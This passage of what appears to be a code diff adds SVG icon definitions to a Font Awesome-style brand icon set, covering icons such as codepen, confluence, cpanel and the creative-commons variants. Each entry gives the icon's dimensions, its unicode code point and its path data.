111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z"], + "cloudsmith": [332, 512, [], "f384", "M332.5 419.9c0 46.4-37.6 84.1-84 84.1s-84-37.7-84-84.1 37.6-84 84-84 84 37.6 84 84zm-84-243.9c46.4 0 80-37.6 80-84s-33.6-84-80-84-88 37.6-88 84-29.6 76-76 76-84 41.6-84 88 37.6 80 84 80 84-33.6 84-80 33.6-80 80-80z"], + "cloudversify": [616, 512, [], "f385", "M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z"], + "codepen": [512, 512, [], "f1cb", "M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z"], + "codiepie": [472, 512, [], "f284", "M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z"], + "confluence": [512, 512, [], "f78d", "M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z"], + "connectdevelop": [576, 512, [], "f20e", "M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z"], + "contao": [512, 512, [], "f26d", "M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z"], + "cotton-bureau": [512, 512, [], "f89e", "M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z"], + "cpanel": [640, 512, [], "f388", "M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z"], + "creative-commons": [496, 512, [], "f25e", "M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z"], + "creative-commons-by": [496, 512, [], "f4e7", "M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z"], + "creative-commons-nc": [496, 512, [], "f4e8", "M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z"], + "creative-commons-nc-eu": [496, 512, [], "f4e9", "M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z"], + "creative-commons-nc-jp": [496, 512, [], "f4ea", "M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z"], + "creative-commons-nd": [496, 512, [], "f4eb", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z"], + "creative-commons-pd": [496, 512, [], "f4ec", "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z"], + "creative-commons-pd-alt": [496, 512, [], "f4ed", "M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z"], + "creative-commons-remix": [496, 512, [], "f4ee", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z"], + "creative-commons-sa": [496, 512, [], "f4ef", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z"], + "creative-commons-sampling": [496, 512, [], "f4f0", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z"], + "creative-commons-sampling-plus": [496, 512, [], "f4f1", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z"], + "creative-commons-share": [496, 512, [], "f4f2", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z"], + "creative-commons-zero": [496, 512, [], "f4f3", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z"], + "critical-role": [448, 512, [], "f6c9", "M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 